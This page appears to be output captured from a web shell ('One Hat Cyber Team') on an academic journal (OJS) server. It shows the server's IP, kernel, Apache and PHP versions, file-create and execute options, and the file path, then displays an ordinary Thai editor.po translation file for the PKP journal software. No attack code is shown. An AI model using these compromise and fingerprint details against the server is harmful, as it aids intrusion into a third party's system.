One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
th
/
View File Name :
editor.po
# Apichaya <apichaya_cc@thonburi-u.ac.th>, 2024. msgid "" msgstr "" "PO-Revision-Date: 2024-10-20 04:17+0000\n" "Last-Translator: Apichaya <apichaya_cc@thonburi-u.ac.th>\n" "Language-Team: Thai <http://translate.pkp.sfu.ca/projects/pkp-lib/editor/th/>" "\n" "Language: th\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: Weblate 4.18.2\n" msgid "reviewer.list.warnOnAssignUnlock" msgstr "ปลดล็อค" msgid "reviewer.list.reviewInterests" msgstr "ความสนใจในการทบทวน" msgid "reviewer.list.biography" msgstr "ประวัติ" msgid "reviewer.list.empty" msgstr "ไม่พบผู้รีวิว" msgid "reviewer.list.showOnlyReviewersFromPreviousRound" msgstr "มอบหมายในรอบก่อนหน้า" msgid "editor.decision.cancelDecision" msgstr "ยกเลิกการตัดสินใจ" msgid "editor.submissionArchive.confirmDelete" msgstr "คุณแน่ใจหรือว่าต้องการลบบทความนี้อย่างถาวร?" msgid "editor.activityLog" msgstr "บันทึกกิจกรรม" msgid "editor.submissionLibrary" msgstr "ห้องสมุด" msgid "editor.submission.workflowDecision.submission" msgstr "การตัดสินใจถูกบันทึกแล้ว" msgid "editor.submission.workflowDecision.submission.declined" msgstr "การส่งงานถูกปฏิเสธ" msgid "editor.submission.workflowDecision.submission.accepted" msgstr "การส่งงานได้รับการยอมรับ" msgid "editor.submission.workflowDecision.submission.published" msgstr "การส่งงานถูกตีพิมพ์แล้ว" msgid "editor.submission.workflowDecision.submission.reviewRound" msgstr "ส่งไปยังรอบการทบทวนใหม่" msgid "editor.submission.workflowDecision.submission.production" msgstr "ส่งไปยังการผลิต" msgid "editor.submission.workflowDecision.submission.underReview" msgstr "การส่งงานได้รับการยอมรับสำหรับการทบทวน" msgid "editor.submission.workflowDecision.changeDecision" msgstr "เปลี่ยนการตัดสินใจ" msgid "editor.submission.workflowDecision.disallowedDecision" msgstr "คุณไม่มีสิทธิ์ในการบันทึกการตัดสินใจนี้กับการส่งงานนี้" msgid "editor.submission.workflowDecision.invalidEditor" msgstr "" "ไม่สามารถรับรู้บรรณาธิการ และอาจไม่มีสิทธิ์บันทึกการตัดสินใจในการส่งงานนี้" msgid "editor.submission.workflowDecision.invalidRecipients" msgstr "ไม่สามารถส่งอีเมลถึงผู้รับต่อไปนี้ได้: {$names}." msgid "editor.submission.workflowDecision.invalidReviewRound" msgstr "ไม่พบรอบการทบทวนนี้" msgid "editor.submission.workflowDecision.invalidReviewRoundStage" msgstr "รอบการทบทวนถูกระบุ แต่การตัดสินใจนี้ไม่ได้เกิดขึ้นในขั้นตอนการทบทวน" msgid "editor.submission.workflowDecision.invalidReviewRoundSubmission" msgstr "รอบการทบทวนนี้ไม่ได้เป็นส่วนหนึ่งของการส่งงานนี้" msgid "editor.submission.workflowDecision.invalidStage" msgstr "" "การส่งงานนี้ไม่ได้อยู่ในขั้นตอนที่เหมาะสมของเวิร์กโฟลว์เพื่อทำการตัดสินใจนี้" msgid "editor.submission.workflowDecision.noUnassignedDecisions" msgstr "คุณต้องได้รับมอบหมายการส่งงานนี้เพื่อบันทึกการตัดสินใจทางบรรณาธิการ" msgid "editor.submission.workflowDecision.requiredReviewRound" msgstr "ต้องระบุไอดีของรอบการทบทวนเพื่อทำการตัดสินใจนี้" msgid "editor.submission.workflowDecision.requiredDecidingEditor" msgstr "" "ไม่สามารถให้คำแนะนำได้ " "เว้นแต่จะมีบรรณาธิการที่ได้รับมอบหมายให้ตัดสินใจขั้นสุดท้ายในขั้นตอนนี้" msgid "editor.submission.workflowDecision.submissionInvalid" msgstr "" "ไม่สามารถตัดสินใจเกี่ยวกับการส่งงานนี้ได้ " "ไอดีการส่งงานหายไปหรือไม่ตรงกับการส่งงานที่ร้องขอ" msgid "editor.submission.workflowDecision.typeInvalid" msgstr "ไม่พบการตัดสินใจนี้ กรุณาระบุประเภทการตัดสินใจที่เป็นที่รู้จัก" msgid "editor.review.notInitiated" msgstr "กระบวนการทบทวนยังไม่ได้เริ่มต้น" msgid "editor.submission.copyediting.personalMessageToUser" msgstr "ข้อความถึงผู้ใช้" msgid "editor.submission.externalReviewDescription" msgstr "เลือกไฟล์ด้านล่างเพื่อส่งไปยังขั้นตอนการทบทวน" msgid "editor.submission.fileAuditor.form.fileRequired" msgstr "คุณต้องเลือกไฟล์อย่างน้อยหนึ่งไฟล์เพื่อมอบหมายให้กับผู้ใช้" msgid "editor.submission.fileAuditor.form.messageRequired" msgstr "คุณต้องรวมข้อความส่วนตัว" msgid "editor.submission.fileAuditor.skipEmail" msgstr "ไม่ต้องส่งอีเมลไปยังผู้ตรวจสอบ" msgid "editor.submission.fileAuditor.form.userRequired" msgstr "คุณต้องเลือกผู้ใช้เพื่อมอบหมาย" msgid "editor.submission.uploadSelectFiles" msgstr "อัปโหลด/เลือกไฟล์" msgid "editor.submission.revisions" msgstr "การแก้ไข" msgid "editor.submission.review.reviewersDescription" msgstr "" "ใช้ <em>+เพิ่มผู้รีวิว</em> เพื่อเชิญผู้อ่านมาทบทวนไฟล์การส่งงาน " "ไอคอนโน้ตบุ๊กแสดงว่ามีการส่งการทบทวนแล้ว ซึ่งจะถูกทำเครื่องหมาย <em>รับทราบ</" "em> หลังจากที่มีการตรวจสอบแล้ว เมื่อการทบทวนเกินกำหนด " "ไอคอนซองจดหมายสีแดงจะปรากฏขึ้นเพื่อเตือนผู้รีวิว" msgid "editor.submission.addReviewer" msgstr "เพิ่มผู้รีวิว" msgid "editor.submission.findAndSelectReviewer" msgstr "ค้นหาและเลือกผู้รีวิว" msgid "editor.submission.findAndSelectUser" msgstr "ค้นหาและเลือกผู้ใช้" msgid "editor.submission.fileList.includeAllStages" msgstr "แสดงไฟล์จากทุกขั้นตอนของเวิร์กโฟลว์ที่สามารถเข้าถึงได้" msgid "editor.submission.review.currentFiles" msgstr "ไฟล์ทบทวนปัจจุบันสำหรับรอบที่ {$round}" msgid "editor.submission.backToSearch" msgstr "กลับไปยังการค้นหา" msgid "editor.review.createReviewer" msgstr "สร้างผู้รีวิวใหม่" msgid "editor.review.enrollReviewer.short" msgstr "ลงทะเบียนผู้ใช้ที่มีอยู่" msgid "editor.review.unassignReviewer" msgstr "ยกเลิกการมอบหมายผู้รีวิว" msgid "editor.review.cancelReviewer" msgstr "ยกเลิกผู้รีวิว" msgid "editor.review.reinstateReviewer" msgstr "คืนสถานะผู้รีวิว" msgid "editor.review.resendRequestReviewer" msgstr "ส่งคำขอทบทวนอีกครั้ง" msgid "editor.submissionReview.reviewType" msgstr "ประเภทการทบทวน" msgid "editor.submissionReview.sendEmail" msgstr "ส่งอีเมลแจ้งเตือนถึงผู้เขียน: {$authorName}" msgid "editor.submissionReview.sendEmail.editors" msgstr "ส่งอีเมลแจ้งเตือนถึงบรรณาธิการ: {$editorNames}" msgid "editor.submissionReview.skipEmail" msgstr "ไม่ต้องส่งอีเมลแจ้งเตือน" msgid "editor.submissionReview.open" msgstr "เปิด" msgid "editor.submissionReview.anonymous" msgstr "ผู้รีวิวไม่ระบุตัวตน/ผู้เขียนที่เปิดเผยชื่อ" msgid "editor.submissionReview.doubleAnonymous" msgstr "ผู้รีวิวไม่ระบุตัวตน/ผู้เขียนไม่ระบุตัวตน" msgid "editor.submissionReview.restrictFiles" msgstr "ไฟล์ที่ต้องทบทวน" msgid "editor.submissionReview.restrictFiles.hide" msgstr "ปิดการเลือกไฟล์" msgid "editor.submissionReview.editReview" msgstr "แก้ไขการทบทวน" msgid "editor.review.anonymousReviewer" msgstr "ผู้รีวิวไม่ระบุตัวตน" msgid "editor.review.personalMessageToReviewer" msgstr "อีเมลที่จะส่งถึงผู้รีวิว" msgid "editor.review.importantDates" msgstr "วันที่สำคัญ" msgid "editor.review.uploadRevision" msgstr "อัปโหลดการแก้ไข" msgid "editor.review.newReviewRound" msgstr "ต้องการรอบการทบทวนใหม่" msgid "editor.review.NotifyAuthorRevisions" msgstr "การแก้ไขจะไม่ต้องผ่านรอบการทบทวนเพื่อนใหม่" msgid "editor.review.NotifyAuthorResubmit" msgstr "การแก้ไขจะต้องผ่านรอบการทบทวนเพื่อนใหม่" msgid "editor.review.NotifyAuthorRevisions.recommendation" msgstr "การแก้ไขไม่ควรต้องผ่านรอบการทบทวนเพื่อนใหม่" msgid "editor.review.NotifyAuthorResubmit.recommendation" msgstr "การแก้ไขควรต้องผ่านรอบการทบทวนเพื่อนใหม่" msgid "editor.review.dateAccepted" msgstr "วันที่ยอมรับการทบทวน" msgid "editor.review.reviewsAdded" msgstr "การทบทวนถูกเพิ่มลงในเนื้อหาข้อความแล้ว" msgid "editor.review.noReviews" msgstr "ไม่มีการทบทวนจากเพื่อนให้เลือกนำเข้า" msgid "editor.review.reminder" msgstr "การแจ้งเตือนการทบทวน" msgid "editor.review.thankReviewer" msgstr "ขอบคุณผู้รีวิว" msgid "editor.review.reminderError" msgstr "เกิดข้อผิดพลาดในการส่งการแจ้งเตือนการทบทวน" msgid "editor.review.thankReviewerError" msgstr "เกิดข้อผิดพลาดในการส่งข้อความขอบคุณถึงผู้รีวิว" msgid "editor.review.skipEmail" msgstr "ไม่ต้องส่งอีเมลถึงผู้รีวิว" msgid "editor.review.sendReminder" msgstr "ส่งการแจ้งเตือน" msgid "editor.review.readReview" msgstr "อ่านการทบทวน" msgid "editor.review.readNewReview" msgstr "อ่านการทบทวนใหม่" msgid "editor.review.responseDue" msgstr "กำหนดการตอบกลับ: {$date}" msgid "editor.review.requestSent" msgstr "คำขอถูกส่งแล้ว" msgid "editor.review.requestAccepted" msgstr "คำขอถูกยอมรับแล้ว" msgid "editor.review.requestDeclined" msgstr "คำขอถูกปฏิเสธ" msgid "editor.review.requestCancelled" msgstr "คำขอถูกยกเลิกแล้ว" msgid "editor.review.requestDeclined.tooltip" msgstr "ผู้รีวิวปฏิเสธคำขอทบทวนนี้" msgid "editor.review.requestCancelled.tooltip" msgstr "บรรณาธิการยกเลิกคำขอทบทวนนี้" msgid "editor.review.reviewDue" msgstr "กำหนดการทบทวน: {$date}" msgid "editor.review.reviewDueDate" msgstr "วันที่ครบกำหนดการทบทวน" msgid "editor.review.reviewCompleted" msgstr "การทบทวนเสร็จสมบูรณ์แล้ว" msgid "editor.review.reviewConfirmed" msgstr "การทบทวนถูกยืนยันแล้ว" msgid "editor.review.reviewSubmitted" msgstr "การทบทวนถูกส่งแล้ว" msgid "editor.review.reviewerThanked" msgstr "ขอบคุณผู้รีวิวแล้ว" msgid "editor.review.ReviewerResendRequest" msgstr "คำขอถูกส่งซ้ำแล้ว" msgid "editor.review.reviewerComments" msgstr "ความคิดเห็นของผู้รีวิว" msgid "editor.review.rateReviewer" msgstr "ให้คะแนนผู้รีวิว" msgid "editor.review.rateReviewer.description" msgstr "ให้คะแนนคุณภาพของการทบทวนที่ได้รับ คะแนนนี้จะไม่ถูกแชร์กับผู้รีวิว" msgid "editor.review.reviewerRating.none" msgstr "ไม่มีการให้คะแนน" msgid "editor.review.mustSelect" msgstr "คุณต้องเลือกผู้รีวิว" msgid "editor.review.errorAddingReviewer" msgstr "เกิดข้อผิดพลาดในการเพิ่มผู้รีวิว กรุณาลองใหม่อีกครั้ง" msgid "editor.review.errorDeletingReviewer" msgstr "เกิดข้อผิดพลาดในการลบผู้รีวิว กรุณาลองใหม่อีกครั้ง" msgid "editor.review.errorReinstatingReviewer" msgstr "เกิดข้อผิดพลาดในการคืนสถานะผู้รีวิว กรุณาลองใหม่อีกครั้ง" msgid "editor.review.errorResendingReviewerRequest" msgstr "" "เกิดข้อผิดพลาดในการขอให้ผู้รีวิวพิจารณาคำเชิญทบทวนใหม่ กรุณาลองใหม่อีกครั้ง" msgid "editor.review.userGroupSelect" msgstr "ลงทะเบียนผู้ใช้ในกลุ่มผู้รีวิวนี้" msgid "editor.review.unconsiderReviewText" msgstr "" "คุณต้องการทำเครื่องหมายการทบทวนนี้ว่าไม่พิจารณาแล้วหรือไม่? " "ประวัติการทบทวนจะถูกเก็บรักษาไว้" msgid "editor.review.unconsiderReview" msgstr "ยกเลิกการพิจารณาการทบทวนนี้" msgid "editor.review.readConfirmation" msgstr "" "เมื่อการทบทวนนี้ถูกอ่านแล้ว กรุณากด \"ยืนยัน\" " "เพื่อแสดงว่ากระบวนการทบทวนสามารถดำเนินต่อได้ หากผู้รีวิวส่งการทบทวนที่อื่น " "คุณสามารถอัปโหลดไฟล์ด้านล่างและกด \"ยืนยัน\" เพื่อดำเนินการต่อ" msgid "editor.discussion.errorAnonymousParticipants" msgstr "" "ไม่สามารถสร้างการอภิปรายกับผู้เข้าร่วมที่เลือกได้เนื่องจากจะส่งผลต่อการไม่ระบ" "ุตัวตนของกระบวนการรีวิว" msgid "editor.discussion.errorNotStageParticipant" msgstr "ผู้เข้าร่วมที่เลือกไม่ได้ถูกกำหนดให้กับขั้นตอนนี้" msgid "editor.submission.schedulePublication" msgstr "กำหนดเวลาสำหรับการตีพิมพ์" msgid "editor.submission.selectCopyedingFiles" msgstr "ไฟล์การแก้ไขสำเนา" msgid "editor.submission.selectReviewer" msgstr "เลือกผู้รีวิว" msgid "editor.submission.taskDueDate" msgstr "กำหนดส่งงาน" msgid "editor.submission.taskSchedule" msgstr "กำหนดการงาน" msgid "editor.review.enrollReviewer" msgstr "ลงทะเบียนผู้ใช้ที่มีอยู่เป็นผู้รีวิว" msgid "editor.submission.noAuditRequested" msgstr "ไม่มีการร้องขอการตรวจสอบสำหรับไฟล์นี้" msgid "editor.submission.personalMessageToUser" msgstr "อีเมลที่จะส่งให้ผู้ใช้" msgid "editor.submission.proof.reminder" msgstr "การเตือนการตรวจสอบสำเนา" msgid "editor.submission.editorial.approveCopyeditDescription" msgstr "" "ไฟล์ที่แก้ไขสำเนาต้องได้รับการอนุมัติก่อนที่จะส่งไปยังขั้นตอนการผลิต " "คุณต้องการอนุมัติไฟล์นี้หรือไม่?" msgid "editor.submission.editorial.disapproveCopyeditDescription" msgstr "" "การไม่อนุมัติไฟล์ที่แก้ไขสำเนานี้จะทำให้ไม่สามารถส่งไปยังขั้นตอนการผลิตได้ " "คุณต้องการไม่อนุมัติไฟล์นี้หรือไม่?" msgid "editor.submission.addAuditor" msgstr "มอบหมายผู้ตรวจสอบบัญชี" msgid "editor.submission.selectFiles" msgstr "เลือกไฟล์" msgid "editor.review.revertDecision" msgstr "ย้อนกลับการตัดสินใจ" msgid "editor.review" msgstr "การทบทวน" msgid "editor.submission.copyedit.manageCopyeditFilesDescription" msgstr "" "ไฟล์ใด ๆ ที่อัปโหลดแล้วในขั้นตอนการส่งใด ๆ " "สามารถเพิ่มในรายการไฟล์การแก้ไขสำเนาได้โดยการเลือกกล่อง 'Include' " "ด้านล่างและคลิกค้นหา: ไฟล์ที่มีอยู่ทั้งหมดจะถูกแสดงและสามารถเลือกเพื่อรวมได้ " "ไฟล์เพิ่มเติมที่ยังไม่ได้อัปโหลดไปยังขั้นตอนใด ๆ " "สามารถเพิ่มได้โดยการคลิกลิงก์อัปโหลดไฟล์" msgid "editor.review.reviewDetails" msgstr "รายละเอียดการทบทวน" msgid "editor.review.noReviewFilesUploaded" msgstr "ไม่มีไฟล์ที่อัปโหลด" msgid "editor.review.noReviewFilesUploaded.details" msgstr "คุณยังไม่ได้อัปโหลดไฟล์การทบทวนใด ๆ" msgid "editor.review.emailReviewer" msgstr "ส่งอีเมลไปยังผู้รีวิว" msgid "editor.submission.production.productionReadyFiles" msgstr "ไฟล์ที่พร้อมสำหรับการผลิต" msgid "editor.submission.newRound" msgstr "รอบการทบทวนใหม่" msgid "editor.submissionReview.recordDecision" msgstr "บันทึกการตัดสินใจทางบรรณาธิการ" msgid "editor.submissionReview.recordRecommendation" msgstr "บันทึกคำแนะนำทางบรรณาธิการ" msgid "editor.submissionReview.recordRecommendation.notifyEditors" msgstr "แจ้งบรรณาธิการ" msgid "editor.submissionReview.recordRecommendation.skipEmail" msgstr "ไม่ต้องส่งอีเมลถึงบรรณาธิการ" msgid "editor.submissionReview.recordRecommendation.createDiscussion" msgstr "สร้างการอภิปรายเกี่ยวกับคำแนะนำนี้" msgid "editor.submissionReview.recordRecommendation.skipDiscussion" msgstr "ไม่ต้องสร้างการอภิปราย" msgid "editor.submission.newRoundDescription" msgstr "" "คุณกำลังจะสร้างรอบการทบทวนใหม่สำหรับบทความนี้ " "ไฟล์ที่ไม่ได้ใช้ในรอบการทบทวนอื่นจะแสดงอยู่ด้านล่าง" msgid "editor.submission.createNewRound" msgstr "สร้างรอบการทบทวนใหม่" msgid "editor.article.reviewForms" msgstr "แบบฟอร์มการทบทวน" msgid "editor.article.selectReviewForm" msgstr "เลือกแบบฟอร์มการทบทวน" msgid "editor.article.confirmChangeReviewForm" msgstr "" "คำเตือน: การเปลี่ยนแบบฟอร์มการทบทวนจะส่งผลต่อคำตอบใด ๆ " "ที่ผู้รีวิวได้กรอกไว้ในแบบฟอร์มนี้ คุณแน่ใจหรือว่าต้องการดำเนินการต่อ?" msgid "editor.submission.noReviewerFilesSelected" msgstr "ไม่มีไฟล์ที่เลือก" msgid "editor.submission.noReviewerFilesSelected.details" msgstr "คุณยังไม่ได้เลือกไฟล์ใด ๆ ให้ผู้รีวิวทบทวน" msgid "submission.queries.subjectRequired" msgstr "จำเป็นต้องมีหัวข้อการอภิปราย" msgid "submission.queries.messageRequired" msgstr "จำเป็นต้องมีข้อความอภิปราย" msgid "submission.queries.attachedFiles" msgstr "ไฟล์ที่แนบมา" msgid "grid.action.editQuery" msgstr "แก้ไขการอภิปราย" msgid "editor.submission.query.manageQueryNoteFilesDescription" msgstr "ไฟล์สามารถแนบเพื่อรวมในการอภิปรายนี้ได้จากรายการด้านล่าง" msgid "editor.submission.selectedReviewer" msgstr "ผู้รีวิวที่เลือก" msgid "editor.submission.proofreading.approveProof" msgstr "อนุมัติการตรวจสอบสำเนา" msgid "editor.submission.proofreading.revokeProofApproval" msgstr "ยกเลิกการอนุมัติการตรวจสอบสำเนา" msgid "editor.submission.proofreading.confirmCompletion" msgstr "" "อนุมัติการตรวจสอบสำเนานี้เพื่อบ่งบอกว่าการตรวจสอบเสร็จสมบูรณ์และไฟล์พร้อมที่จ" "ะตีพิมพ์แล้ว" msgid "editor.submission.proofreading.confirmRemoveCompletion" msgstr "" "ยกเลิกการอนุมัติการตรวจสอบสำเนาเพื่อบ่งบอกว่าการตรวจสอบไม่เสร็จสมบูรณ์และไฟล์" "ยังไม่พร้อมที่จะตีพิมพ์" msgid "editor.submission.revertDeclineDescription" msgstr "คุณแน่ใจหรือไม่ว่าต้องการย้อนกลับการตัดสินใจที่จะปฏิเสธบทความนี้?" msgid "editor.publicIdentificationNumericNotAllowed" msgstr "ตัวระบุสาธารณะ '{$publicIdentifier}' ต้องไม่เป็นตัวเลข" msgid "editor.publicIdentificationPatternNotAllowed" msgstr "รูปแบบ {$pattern} ไม่ได้รับอนุญาตสำหรับตัวระบุสาธารณะ" msgid "reviewer.list.filterRating" msgstr "คะแนนอย่างน้อย" msgid "reviewer.list.activeReviews" msgstr "{$count} กำลังดำเนินการ" msgid "reviewer.list.activeReviewsDescription" msgstr "การทบทวนที่กำลังดำเนินการที่ได้รับมอบหมายอยู่ในปัจจุบัน" msgid "reviewer.list.assignedToLastRound" msgstr "ผู้รีวิวนี้ได้ทำการทบทวนในรอบก่อนหน้าแล้ว" msgid "reviewer.list.completedReviews" msgstr "การทบทวนที่เสร็จสมบูรณ์" msgid "reviewer.list.declinedReviews" msgstr "คำขอทบทวนที่ถูกปฏิเสธ" msgid "reviewer.list.cancelledReviews" msgstr "คำขอทบทวนที่ถูกยกเลิก" msgid "reviewer.list.reviewerRating" msgstr "คะแนนของผู้รีวิว: {$rating}" msgid "reviewer.list.daysSinceLastAssignment" msgstr "{$days} วันที่ผ่านมา" msgid "reviewer.list.daySinceLastAssignment" msgstr "เมื่อวานนี้" msgid "reviewer.list.daysSinceLastAssignmentDescription" msgstr "จำนวนวันที่ผ่านมาแล้วตั้งแต่การมอบหมายการทบทวนครั้งล่าสุด" msgid "reviewer.list.averageCompletion" msgstr "เฉลี่ยจำนวนวันที่ใช้ในการทบทวนให้เสร็จสมบูรณ์" msgid "reviewer.list.neverAssigned" msgstr "ไม่เคยได้รับมอบหมาย" msgid "reviewer.list.reviewerSameInstitution" msgstr "สถาบันเดียวกับผู้เขียน" msgid "reviewer.list.reassign" msgstr "มอบหมายใหม่" msgid "reviewer.list.reassign.withName" msgstr "มอบหมายใหม่ให้กับ {$name}" msgid "reviewer.list.warnOnAssign" msgstr "" "ผู้รีวิวนี้ถูกล็อคเนื่องจากได้รับมอบหมายบทบาทที่สามารถมองเห็นตัวตนของผู้เขียน" "ได้ การทบทวนโดยไม่ระบุตัวตนจึงไม่สามารถรับประกันได้ " "คุณต้องการปลดล็อคผู้รีวิวนี้หรือไม่?" msgid "editor.decision.cancelDecision.confirmation" msgstr "คุณแน่ใจหรือไม่ว่าต้องการยกเลิกการตัดสินใจนี้?" msgid "editor.decision.completeSteps" msgstr "ดำเนินการตามขั้นตอนต่อไปนี้เพื่อทำการตัดสินใจนี้" msgid "editor.decision.dontSkipEmail" msgstr "อย่าข้ามอีเมลนี้" msgid "editor.decision.emailSkipped" msgstr "ขั้นตอนนี้ถูกข้ามและจะไม่มีการส่งอีเมล" msgid "editor.decision.recordDecision" msgstr "บันทึกการตัดสินใจ" msgid "editor.decision.skipEmail" msgstr "ข้ามอีเมลนี้" msgid "editor.decision.stepError" msgstr "มีปัญหาเกิดขึ้นในขั้นตอน {$stepName}"